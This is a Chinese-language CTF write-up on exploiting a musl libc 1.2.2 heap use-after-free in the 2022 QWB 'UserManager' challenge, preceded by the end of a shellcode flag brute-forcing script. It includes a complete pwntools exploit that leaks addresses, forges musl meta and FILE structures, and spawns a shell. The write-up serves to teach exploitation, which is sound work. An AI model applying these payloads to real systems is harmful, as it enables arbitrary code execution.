send_code(make_mov(b'r2', str(0xf0ebdb314858).encode()))
send_code(make_mov(b'r2', str(0xefeb23330f_00_68 + (i << 8)).encode()))
send_code(make_mov(b'r2', str(0xefeb050f58006a).encode()))
send_code(make_mov(b'r2', str(0xf0eb5a406a5e).encode()))
send_code(make_mov(b'r2', str(0xefeb23330f0068).encode()))
send_code(make_mov(b'r2', str(0xefeb5f036a050f).encode()))
send_code(make_mov(b'r2', str(0xefeb585f5e006a).encode()))
send_code(make_mov(b'r2', str(0xefeb2333000268).encode()))
send_code(make_mov(b'r2', str(0xf1eb00000002).encode()))
send_code(make_mov(b'r2', str(0xfeeb1875cb38).encode()))
send_code(make_mov(b'r2', str(0xc3).encode()))
send_code(b'NO')
io.recvuntil(b'over\n')
time.sleep(0.2)
if not io.connected():
print('character #%d is not %c' % (i, chr(j)))
io.close()
io = process('./yakacmp')
else:
added = True
print('character #%d : %c' % (i, chr(j)))
flag += chr(j)
io.close()
io = process('./yakacmp')
break
if not added:
print(flag)
exit(0)
else:
added = False

exp中的connected方法测试io是否正常,前面加上0.2秒的延迟给shellcode一些执行的时间。


成功get flag。

刚刚结束的2022年强网杯中有一道题用到了musl libc,但是之前没有接触过,只能遗憾跳过。本文根据musl libc 1.2.2的源码,和赛题本身,学习一下musl libc的利用方式。

musl libc 是一种轻量级的libc,可以用于嵌入式设备等,其中包含malloc、free等一系列函数的实现都与glibc相差甚远。但由于其轻量化的定位,其实现的代码量也相对较少,便于我们通过源码进行直接分析。

本文主要参考资料:资料

UserManager

本题的musl版本是1.2.2,在新版的Ubuntu 22.04中下载的musl默认版本为1.2.2-4。

1. 逆向分析程序

用IDA打开之后,发现其中的符号表大多还在,省去了重命名函数的时间。在Menu函数中,我们可以得知这个程序能够实现的功能有:Add、Check、Delete、Clear。下面依次进行分析。

主要数据结构

本题中涉及的数据结构是红黑树。结构体定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
00000000 chunk_info      struc ; (sizeof=0x38, mappedto_6)
00000000 Id dq ?
00000008 name_chunk dq ? ; offset
00000010 name_len dq ?
00000018 color dq ? ; enum node_type
00000020 parent dq ? ; offset
00000028 right_child dq ? ; offset
00000030 left_child dq ? ; offset
00000038 chunk_info ends

FFFFFFFF ; enum node_type, mappedto_8, width 8 bytes
FFFFFFFF red = 1
FFFFFFFF black = 2

那么在初次逆向程序时,我们应该如何得知本题的数据结构是红黑树呢?其重点就在于字段color功能的判断。在insert函数、doing函数、delete函数中,只有当color表示红黑树中结点的颜色时才能将程序的逻辑解释清楚。这需要一定的直觉与经验,也对我们的逆向能力做出了一定的要求。

Add函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
int __fastcall add()
{
__int64 name_len; // rsi
__int64 id; // [rsp+0h] [rbp-20h]
char *name_chunk; // [rsp+10h] [rbp-10h]
chunk_info *chunk; // [rsp+18h] [rbp-8h]

printf("Id: ");
id = ReadInt();
printf("UserName length: ");
name_len = ReadInt();
name_chunk = (char *)calloc(1uLL, name_len);
printf("UserName: ");
ReadLine(name_chunk, name_len);
chunk = (chunk_info *)calloc(1uLL, 0x38uLL);
chunk->Id = id;
chunk->name_chunk = name_chunk;
chunk->name_len = name_len;
chunk->color = red;
if ( users )
{
insert(chunk, users);
}
else
{
users = chunk;
chunk->parent = (chunk_info *)0xDEADBEEFLL;
chunk->color = black;
}
return puts("Add ok......\n\n");
}

其中insert函数就是向红黑树中插入结点的函数。这个红黑树是按照Id字段进行排序的,Id大的结点位于左边。在insert函数中又调用了doing函数,这个函数主要是用于插入结点后的红黑树调整,其中sini函数的功能是树结点旋转——将参数结点与其父节点顺时针旋转(参数结点是其父节点的左子节点),dext函数的功能是树结点旋转——将参数结点与其父节点逆时针旋转(参数结点是其父节点的右子节点)。后面的delete函数包含了所有红黑树的删除操作,漏洞点不在那里,故不做分析。

Check函数

1
2
3
4
5
6
7
8
9
10
11
12
13
int check()
{
__int64 Int; // [rsp+0h] [rbp-10h]
unsigned __int64 *v2; // [rsp+8h] [rbp-8h]

printf("Id: ");
Int = ReadInt();
v2 = find(Int, (unsigned __int64 *)users);
if ( v2 )
return write(1, (const void *)v2[1], v2[2]);
else
return puts("This user is not exists!\n");
}

这里是检查某个用户是否存在,如果存在则会输出用户名。

Insert函数

本题的漏洞点在于insert函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
void __fastcall insert(chunk_info *victim, chunk_info *base)
{
while ( base )
{
if ( victim->Id == base->Id )// 如果要插入的victim的Id与base相等,则使用victim替换base,并将原来的base释放
{
victim->color = base->color;
victim->right_child = base->right_child;
victim->left_child = base->left_child;
victim->parent = base->parent;
if ( base->right_child )
base->right_child->parent = victim;
if ( base->left_child )
base->left_child->parent = victim;
if ( base->parent != (chunk_info *)0xDEADBEEFLL )
{
if ( base == base->parent->right_child )
base->parent->right_child = victim;
else
base->parent->left_child = victim;
}
free(base->name_chunk);
free(base);
return;
}
if ( victim->Id >= base->Id )
{
if ( !base->left_child )
{
victim->parent = base;
base->left_child = victim;
doing(victim);
if ( !victim->right_child && !victim->left_child )
base->color = black;
return;
}
base = base->left_child;
}
else
{
if ( !base->right_child )
{
base->right_child = victim;
victim->parent = base;
if ( victim->color == red )
doing(victim);
if ( !victim->right_child && !victim->left_child )
victim->color = black;
return;
}
base = base->right_child;
}
}
}

需要注意当两次插入的Id相等时,会将原红黑树中对应的结点替换并释放。但如果原红黑树中被替换的结点是根节点,那么表示根节点的users指针就并不会改变。并且,根节点的释放是在分配新结点之后,因此我们通过分配新的结点就很有可能分配到根节点的结构体本身,这样也就能够对根节点的所有字段进行任意修改了。

2. 漏洞分析与利用

Step 1: 获取elf加载基地址

首先,我们需要知道应该如何才能分配到根节点chunk,这就涉及musl libc中的堆结构管理了。在musl libc中,相同大小的chunk被归为一个group中进行管理,一个group中只能存放有限个数的chunk,一个group有一个对应的meta进行管理。与glibc不同的是,musl中被释放的chunk在下一次相同申请大小的malloc时不一定会被分配,只有当group中找不到空闲的chunk时才会使用已经被释放的chunk。因此这需要我们对group进行填充。

本题中我们首先需要利用UAF漏洞获取到musl libc的基地址,但几乎所有的chunk都位于堆中,我们无法直接获取到libc中的地址。因此,我们需要首先泄露程序本身的加载地址。通过调试发现,存放meta等结构的内存空间紧邻程序内存,且在其上方的位置,所以我们可以首先通过泄露堆地址获取到程序加载地址:

在每一次add时,程序都会calloc一个大小为0x38的chunk,实际的分配大小为0x40。经过调试(调试方法参见资料)发现,管理chunk大小为0x40的group的容量为7,即最多只能容纳7个chunk。因此我们可以考虑首先分配掉5个chunk,然后分配根节点,并使其保存name的chunk也分配到这个group中,通过add相同Iduser让其释放,此时只有原根节点的name这个chunk被释放了,因为相同Id的结构体占用了原根节点的结构体空间,当我们再一次add时,这个chunk就会被用作user结构体,我们通过check就能够读取到其中的一些指针值。

1
2
3
4
5
6
for i in range(5):
add(i, 0x78, p64(i + 0xdeadbeef00) + b'\n')
add(11, 0x38, p64(11 + 0xdeadbeef00) + b'\n')
add(11, 0x78, p64(11 + 0xdeadbeef00) + b'\n')
add(9, 0x78, p64(9 + 0xdeadbeef00) + b'\n')
check(11)

由此,我们就成功获取了堆空间地址,进而得到了程序加载的基地址。

Step 2: 获取libc加载基地址

下一步,我们就需要想办法读取到程序中保存的stdout的值,以获取libc的基地址。由于在正常情况下堆地址不会分配到那个地方,因此我们需要能够修改根节点的结构体本身。可行的方法是:分配掉5个chunk,之后分配根节点,根节点的name大小也为0x38。然后我们重新分配根节点,释放前面的一个结点。此时7个chunk中一共就有3个被释放,依次是前面的一个chunk、原根节点结构体chunk、原根节点name的chunk。当我们此时再一次分配一个chunk,且将name的大小也设置为0x38时,我们就能够将name的chunk申请到原根节点结构体,从而直接修改原根节点结构体中name指针的值。不过需要注意的是,本题中添加和删除的操作较为复杂,随意修改三个二叉树指针很可能会导致程序崩溃退出,但经过调试发现,指针的值相对于elf文件加载地址的偏移始终不变。我们在上一步已经知道了elf的加载地址,因此我们在写的时候可以不修改指针的值,而是只修改name指针的值,避免程序崩溃。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
clear()

for i in range(5):
add(i, 0x78, p64(i + 0xdeadbeef00) + b'\n')
add(11, 0x38, p64(11 + 0xdeadbeef00) + b'\n')
add(11, 0x78, p64(11 + 0xdeadbeef00) + b'\n')
delete(4)
print(hex(heap_addr))

payload = p64(4)
payload += p64(stdout)
payload += p64(0x20)
payload += p64(1)
payload += p64(elf_base + 0x51e0)
payload += p64(elf_base + 0x50e0)
payload += p64(0)

add(15, 0x38, payload)

payload = p64(11)
payload += p64(stdout)
payload += p64(0x38)
payload += p64(2)
payload += p64(0xdeadbeef)
payload += p64(elf_base + 0x5120)
payload += p64(elf_base + 0x5160)

add(13, 0x38, payload)
check(11)


成功获取stdout的值。

Step 3: 获取__malloc_context结构体中的secret

和第二步相同,我们如法炮制。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
clear()

for i in range(6):
add(i, 0x78, p64(i + 0xdeadbeef00) + b'\n')
clear()

for i in range(4):
add(i, 0x78, p64(i + 0xdeadbeef00) + b'\n')
add(11, 0x38, p64(11 + 0xdeadbeef00) + b'\n')
add(11, 0x78, p64(11 + 0xdeadbeef00) + b'\n')
delete(3)
print(hex(heap_addr))

payload = p64(4)
payload += p64(__malloc_context)
payload += p64(0x20)
payload += p64(1)
payload += p64(elf_base + 0x51e0)
payload += p64(elf_base + 0x50e0)
payload += p64(0)

add(15, 0x38, payload)

payload = p64(11)
payload += p64(__malloc_context)
payload += p64(0x38)
payload += p64(2)
payload += p64(0xdeadbeef)
payload += p64(elf_base + 0x5120)
payload += p64(elf_base + 0x5160)

add(13, 0x38, payload)
check(11)


成功获取secret值。

Step 4: 申请大空间,伪造meta_area, meta, group, chunk

现在,我们已经掌握了伪造chunk并释放所需的所有数据了,因此可以开始伪造相关结构了。对于musl libc pwn来说,从meta_area这个外层结构一直伪造到chunk这个最内层结构是较为常见的操作。我们通过伪造这些结构调用到dequeue这个函数实现类似于glibc中unlink的利用。在本题中,我们可以通过分配一个大于0x1000的chunk来完成伪造(因为所有meta_area必须页对齐)。经过调试发现,当我们分配一个大chunk时,musl libc会为我们开辟一块新的空间专门用于存放,这个空间是一个 group。因此实际上开始写的地址后12比特应该为0x030。我们跳过本页,在下一页进行伪造。

经过调试发现,用于保存大chunk的group分配到的mmap空间就在libc加载地址的正下方,大小为0x5000。因此我们可以获取到这块空间的地址,并在假的meta结构中写入假的group地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
struct _IO_FILE {
unsigned flags;
unsigned char *rpos, *rend;
int (*close)(FILE *);
unsigned char *wend, *wpos;
unsigned char *mustbezero_1;
unsigned char *wbase;
size_t (*read)(FILE *, unsigned char *, size_t);
size_t (*write)(FILE *, const unsigned char *, size_t);
off_t (*seek)(FILE *, off_t, int);
unsigned char *buf;
size_t buf_size;
FILE *prev, *next;
int fd;
int pipe_pid;
long lockcount;
int mode;
volatile int lock;
int lbf;
void *cookie;
off_t off;
char *getln_buf;
void *mustbezero_2;
unsigned char *shend;
off_t shlim, shcnt;
FILE *prev_locked, *next_locked;
struct __locale_struct *locale;
};

这是musl libc中的_IO_FILE结构体,一般的利用方式是伪造一个假的_IO_FILE结构体,将readwritecloseseek函数指针覆写。注意,musl libc中没有one_gadget,因此我们只能将函数指针改写为system函数的地址,将_IO_FILE开头改写为字符串/bin/sh

这一部分看起来容易,实际上不简单,需要我们经过反复调试才能成功unlink假的meta

本题的exp中还有很多的细节值得注意,就比如fake meta中应该将fake FILE的地址放在prev指针还是next指针?注意dequeue的代码:

1
2
m->prev->next = m->next;
m->next->prev = m->prev;

其中m->prev的地址就是m的地址,m->next的地址为m+8。在close_file函数中调用函数的语句中第1个参数是FILE结构体地址,因此我们需要将/bin/sh字符串写到FILE结构体的开始位置,如果将__stdout_used地址放在fake meta的prev指针位置,那么执行了m->next->prev = m->prev;之后,我们的fake FILE结构体的开头8字节就被修改了,覆盖了/bin/sh字符串。因此应该将__stdout_used写到next指针的位置。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
from pwn import *
context(arch='amd64', log_level='debug')

elf = ELF('./UserManager')
libc = ELF('/lib/x86_64-linux-musl/libc.so')

# io = process(['./UserManager'], env={'LD_PRELOAD': './libc.so'})
io = process('./UserManager')

def add(id, namelen, name):
io.sendlineafter(b': ', b'1')
io.sendlineafter(b'Id: ', str(id).encode())
io.sendlineafter(b'UserName length: ', str(namelen).encode())
io.sendafter(b'UserName: ', name)

def check(id):
io.sendlineafter(b': ', b'2')
io.sendlineafter(b'Id: ', str(id).encode())

def delete(id):
io.sendlineafter(b': ', b'3')
io.sendlineafter(b'Id: ', str(id).encode())

def clear():
io.sendlineafter(b': ', b'4')

# get heap address and elf base
for i in range(5):
add(i, 0x78, p64(i + 0xdeadbeef00) + b'\n')
add(11, 0x38, p64(11 + 0xdeadbeef00) + b'\n')
add(11, 0x78, p64(11 + 0xdeadbeef00) + b'\n')
add(9, 0x78, p64(9 + 0xdeadbeef00) + b'\n')
check(11)
io.recv(8)
heap_addr = u64(io.recv(8))
elf_base = heap_addr - 0x5A40
stdout_ptr = elf_base + 0x4D80
log.info('ELF base = ' + hex(elf_base))
log.info('heap address got: ' + hex(elf_base))

# get libc base
clear()

for i in range(5):
add(i, 0x78, p64(i + 0xdeadbeef00) + b'\n')
add(11, 0x38, p64(11 + 0xdeadbeef00) + b'\n')
add(11, 0x78, p64(11 + 0xdeadbeef00) + b'\n')
delete(4)

payload = p64(4)
payload += p64(stdout_ptr)
payload += p64(0x20)
payload += p64(1)
payload += p64(elf_base + 0x51e0)
payload += p64(elf_base + 0x50e0)
payload += p64(0)

add(15, 0x38, payload)

payload = p64(11)
payload += p64(stdout_ptr)
payload += p64(0x38)
payload += p64(2)
payload += p64(0xdeadbeef)
payload += p64(elf_base + 0x5120)
payload += p64(elf_base + 0x5160)

add(13, 0x38, payload)
check(11)

stdout = u64(io.recv(8))
log.info('stdout = ' + hex(stdout))
libc_base = stdout - 0xAD280
sys = libc_base + libc.symbols['system']
__malloc_context = libc_base + 0xAD9C0
log.info('libc base = ' + hex(libc_base))
stdout_ptr = libc_base + 0xAD3B0

clear()

for i in range(6):
add(i, 0x78, p64(i + 0xdeadbeef00) + b'\n')
clear()

for i in range(4):
add(i, 0x78, p64(i + 0xdeadbeef00) + b'\n')
add(11, 0x38, p64(11 + 0xdeadbeef00) + b'\n')
add(11, 0x78, p64(11 + 0xdeadbeef00) + b'\n')
delete(3)
print(hex(heap_addr))

payload = p64(4)
payload += p64(__malloc_context)
payload += p64(0x20)
payload += p64(1)
payload += p64(elf_base + 0x51e0)
payload += p64(elf_base + 0x50e0)
payload += p64(0)

add(15, 0x38, payload)

payload = p64(11)
payload += p64(__malloc_context)
payload += p64(0x38)
payload += p64(2)
payload += p64(0xdeadbeef)
payload += p64(elf_base + 0x5120)
payload += p64(elf_base + 0x5160)

add(13, 0x38, payload)
check(11)
secret = u64(io.recv(8))
log.info('secret value = ' + hex(secret))

clear()
for i in range(8):
add(i, 0x78, p64(i + 0xdeadbeef00) + b'\n')
clear()

payload = p64(secret) # meta_area.secret 0x0
payload += p64(0) # meta_area.next
payload += p64(0x65) # meta_area.nslots (struct meta[]) 0x10
payload += p64(libc_base - 0x6000 + 0x1000 + 0xA0) # meta.prev (struct meta*)
payload += p64(stdout_ptr) # meta.next (struct meta*) 0x20
payload += p64(libc_base - 0x6000 + 0x1000 + 0x50) # meta.mem (struct group*)
payload += p32(0) # meta.avail_mask
payload += p32(0b111101) # meta.free_mask
payload += p64(5 + (1 << 5) + (3 << 6) + (1 << 12)) # meta.last_idx, freeable, size_class, maplen(=0) 0x30
payload += p64(0) * 2
payload += p64(libc_base - 0x6000 + 0x1000 + 0x18) # group.meta (struct meta*) 0x48
payload += p64(0x800000000006) # group.active_idx
fake_file = flat({
0: b"/bin/sh\x00",
0x28: 0xdeadbeef,
0x38: 0,
0x48: sys
}, filler=b'\x00')
payload += b'\x00' * 0x3D + p8(1) + p16(4) + fake_file # fake _IO_FILE struct, 0x58

for i in range(4):
add(i, 0x78, p64(0xdeadbeef00 + i) + b'\n')
add(100, 0x38, p64(0xdeadbeef) + b'\n')
add(100, 0x1300, cyclic(0x1000 - 0x40) + payload + b'\n')
delete(3)
add(99, 0x38, p64(98) + p64(libc_base - 0x6000 + 0x1000 + 0xA0) + p64(0x38) + p64(2) + p64(0xdeadbeef) + p64(0) * 2)
delete(98)
# gdb.attach(io, 'b *$rebase(0x28A9)')
# time.sleep(1)
# add(98, 0x38, p64(101) + p64(libc_base - 0x6000 + 0x1000 + 0x60) + p64(0x38) + p64(2) + p64(0xdeadbeef) + p64(libc_base - 0x1f00) + p64(0))
io.sendlineafter(b': ', b'5') # call exit

io.interactive()